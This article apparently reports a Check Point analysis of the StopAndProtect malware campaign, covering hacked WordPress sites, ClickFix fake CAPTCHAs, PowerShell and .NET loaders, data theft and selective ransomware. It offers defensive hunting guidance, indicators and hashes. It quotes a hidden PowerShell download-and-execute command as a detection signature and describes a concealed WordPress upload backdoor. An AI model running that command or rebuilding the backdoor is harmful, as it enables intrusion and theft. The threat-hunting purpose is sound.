A malware operator used close to 2,000 hacked WordPress domains as download servers, command infrastructure, and storage for stolen files. Check Point Research reported on August 18 that the same operation collected roughly 31,000 screenshots and more than 700 archives from infected Windows machines between mid-May and the end of July 2026.
The report is ten days old, but its exposed infrastructure still gives defenders an unusually specific map of the StopAndProtect operation. It ties fake CAPTCHA prompts to two PowerShell stages, two .NET loaders, credential and document theft, network propagation, screen locking, and selective ransomware deployment. The source’s more than 6,000 unique IP addresses are not a verified victim count: some belonged to sandboxes or researchers, and the criminals did not encrypt every infected machine.
One mistake exposed the fleet
Check Point found a PHP endpoint on one compromised site that revealed a directory listing. Open folders on other hacked servers exposed malware, execution logs, stolen archives, and screenshots from infected computers. One directory held more than 20,000 activity images; another dataset covered close to 200 infected machines.
The sharpest break came from a suspected operator self-infection. An uploaded archive contained the source code for a Visual Basic 6 tool that mass-managed the compromised WordPress sites, along with domain lists for enabling fake CAPTCHA pages, installing payloads, and disabling cache controls. Check Point called the telemetry evidence of “not a small, isolated incident but a large-scale campaign.”
The mistake exposed the operating model.
The scale remains bounded by what researchers could see. Check Point recorded more than 6,000 unique IP addresses in operation logs as of July 24, led by the United States, Russia, and India. A separate fake-CAPTCHA log from one command server held close to 600 unique IPs, but the report says that file had probably been reset several times.
The hacked sites were legitimate services repurposed without their owners’ approval. Check Point identifies the following compromised domains, so defenders should treat them as historical search values rather than attacker-owned names: maximumrock.ro, platinumcar.ca, norakremer.co.uk, pharmart.ae, ksr-racingparts.com, v-k.com.ua, www.lapellelaser.pl, www.parsrulman.com, mectcalcutta.com, and discherniation.com.
ClickFix opens the Windows chain
Visitors to an infected WordPress site see a fake CAPTCHA that instructs them to paste and run a command. The copied line launches hidden PowerShell with execution-policy bypass and a Net.WebClient.DownloadString call. That first script reports execution to a compromised server and retrieves a second PowerShell stage.
The second script downloads a base64-encoded .NET assembly, decodes it, loads it into memory, and invokes a static, parameterless method named Execute. Stage one then downloads and loads stage two. Stage two adds persistence, sandbox checks, and detailed progress logging before it retrieves later components.
That sequence is the first durable clue.
That sequence gives defenders a recognizable command signature before ransomware appears: powershell -w hidden -ep bypass -c IEX((New-Object Net.WebClient).DownloadString(...)). On the WordPress side, the operation used wp-content/plugins/verify/, store.php, stored_url.txt, proxy.php, verify.php, wp-uploading.php, and wp-delete.php. The verify.php plugin wrote statistics to a wreport.php endpoint and created the support files on first run.
Check Point also recovered mu-uploader-installer.php. On activation it created wp-content/mu-plugins/wp-sec.php, registered the hidden REST route wp-sec/v1/upload, accepted hardcoded credentials, and allowed PHP uploads under the WordPress root. The installer then deactivated and deleted itself. That self-removal leaves the must-use plugin and uploaded files as stronger evidence than the installer name alone.
Figure details
A linear chain begins with a compromised WordPress site serving a fake CAPTCHA. ClickFix and two PowerShell scripts lead into two .NET loading stages. The final card summarizes the optional behaviors after the persistent second loader: credential and document theft, SMB, USB, VBS, and WMI propagation, screen locking and chat, or selective file encryption. The source does not establish that every component executed on every infected machine.
The toolkit branches after infection
StopAndProtect names the wider operation, although it began as the label for its encryptor. The SilentDataCollector component inventories fixed, removable, and network drives, then waits for operator instructions specifying which files to compress, encrypt, and upload. Newer builds add keylogging, WhatsApp contact searches, network-share mapping, and screenshots every 30 seconds while a user is active.
Separate components widen the impact. NetworkShareScanner spreads through SMB shares and USB devices. A VBS spreader copies through local and removable media and uses WMI remote process creation for lateral movement. LockScreen blocks input, while SimpleChatProxy lets the operator communicate with a victim. SilentEncryptor fetches an instruction file that selects every infected host or only named computers for encryption.
Encryption is only one possible outcome.
The source says the encryption design includes enough material in renamed filenames to make decryption possible. That exculpatory detail does not reduce the theft risk: the exposed servers held desktop files, password archives, wallet archives, screenshots, file listings, and encryption logs. Staged or downloaded components should be tracked separately from those proven to have executed.
Check Point is a security vendor and says its Threat Emulation and Harmony Endpoint products cover the activity. The report does not include a response from affected WordPress operators as a group, Microsoft, Automattic, or the criminals behind StopAndProtect.
Hunt both server and endpoint
On WordPress hosts, inventory must-use plugins from the filesystem as well as the administration interface. Review recently changed PHP under wp-content/mu-plugins, wp-content/plugins, and the web root. Search access logs for wp-sec/v1/upload, wreport.php, dwnen.php, store.php, proxy.php, and unusual POST requests followed by new PHP files. Investigate unexpected removal of WP_CACHE, changes involving litespeed-cache, and the marker strings 0a_botnet, fake-captcha, and G-a_new_hack-0a_botnet-fake-capcha-a-master-4-a-updater-plugin-send-new-plugin.
On Windows, correlate PowerShell script-block event 4104 and process-creation event 4688 with hidden PowerShell, execution-policy bypass, Net.WebClient, DownloadString, base64 decoding, and in-memory .NET loading. Then look for new WMI remote-process activity, USB or network-share propagation, repeated screenshot capture, unusual WhatsApp automation, and encrypted archives using these published naming patterns: *documents*.zip, *desktop_files*.zip.encrypted, *pass_V*.zip.encrypted, *wallet_V*.zip.encrypted, *_filelist.zip.encrypted, *encrypted_files_V*.txt.encrypted, *encryption_log_V*.zip.encrypted, *screenshot_V*.zip.encrypted, *final_screenshot_V*.zip.encrypted, *lockscreen_V*.zip.encrypted, and *_progress_log_*.zip.encrypted.
Retain every published SHA-256 value in hash searches:
| Component | SHA-256 |
|---|---|
| PowerShell stage one | cab7f141fd6f2c58055b3731ef6a64b8a2d4d88a974770b047da19c0904322f0 |
| PowerShell stage two | cc8aa2bd7bf74ca0bbc5cb03a7b18eae73094b450d11654528c05685fe12e0c9 |
| Stage-one downloader | 99bcb531d6dd3c93d3f28f03d6e4659c865a4ffbd2fb514e809017f3446a940b |
| Stage-one downloader | 8337bf29100a5871b1275227006dc2a43b21b751e5ce7e2032364fd78af59ac5 |
| Stage-one downloader | 4dee2fe98d4da75ffb259c03b50202212dafc85691429a28641a8068eddea504 |
| Stage-two loader | 9765b1342cc7eb982a73bb1f94c6c500b63dc817073b76ea926c1097078d3527 |
| Stage-two loader | 7d3604d0728b242c72bd144b8661ebf63c1042a4f5dd441bc8c8507c701df20c |
| Stage-two loader | 976cfa57e1efacbe517b7e3441e9473d275ec1d9ad8ab69ddf8ae3a966aaa153 |
| Encryptor | b79b9b027f76579555069a7506d946648a8cb3126c0dda837dc9fee0e5c79489 |
| Encryptor | 65550f6d0ffec8421f703cdc7273d9c0563b3d480fe6702bad294a18afe72143 |
| Encryptor | 0080d0dd72eda4850a02e51c0e5c6f768423dfe970cafae2ab52ceee75972b40 |
| SMB/USB worm | 8d1e23630a6695fa9c793d73832f59436c98bba30ed81c16d01b549bd17feab4 |
| SMB/USB worm | 10babb15e08f9fbd72cce11713a273b971c910dd5bdb989a3f6ff4d9c8e372c0 |
| SMB/USB worm | f042240c3de00c46dee625916bf246b7e87481e4081a6a97208b091409766e41 |
| Lock screen | 11a635d70444605ede1de0aa227a9fd7cfa4554e75bea93ce18b639ca571a42e |
| Lock screen | 2adbb2c206be7f23bf77f8f50d1ac0f809511c0b4591421931f81a6eaa42c68c |
| Lock screen | 38602b76f6c65644b01fa4d81708251c159a883253cda8876396dc7212324ab9 |
| Credential stealer | 23cbabfe3ca3a7f1eb365f772d6a4ed8095cb8f7755622cc82e804478259dc70 |
| VBS spreader | b3dff910b350ace27d64cbd79405cb154a1967e366d7b88170c3e8303b1d08ad |
| Chat utility | 3ed8f2cc8da4853fd770ff38f0cbce6d9d4a84e75a828fc0cec3e3ec60db94f9 |
| Chat utility | 3ba161ca7b8dcf389ec3236c9ddfb943e9d1766181b1b81a227649cad46132a8 |
The source’s YARA rule looks for C:\\Users\\marks\\source\\ and identifies hash 712E557373FBA45BDD66D52E395B8AF7CCF7006E6E82D4E1DB0736E738D0D4FB in its metadata. A hash miss cannot clear a host because the operation used multiple stages and versions.
Verify the fleet is clean
For each WordPress root, run wp plugin list --status=must-use --format=table and find wp-content/mu-plugins wp-content/plugins -type f -name '*.php' -mtime -120 -print, then compare every returned path and hash with a known-good deployment artifact. Review web logs for the listed endpoints across the same retention window. On Windows, search events 4104 and 4688 for the PowerShell signature and confirm whether every downloaded stage was merely written, loaded into memory, or executed.
The expected result is an approved set of WordPress PHP files with no unexplained must-use plugin or upload route, plus no endpoint sequence joining ClickFix PowerShell, in-memory .NET loading, propagation, collection, or encryption. If an unexplained server file or endpoint sequence remains, isolate the host and preserve it for scope analysis before rebuilding.
The compromised websites were infrastructure and victims at the same time. Treating only the Windows payload leaves the delivery fleet intact; cleaning only WordPress leaves stolen credentials, propagated copies, and staged ransomware unexamined. Containment has to join both sides of the operation into one case.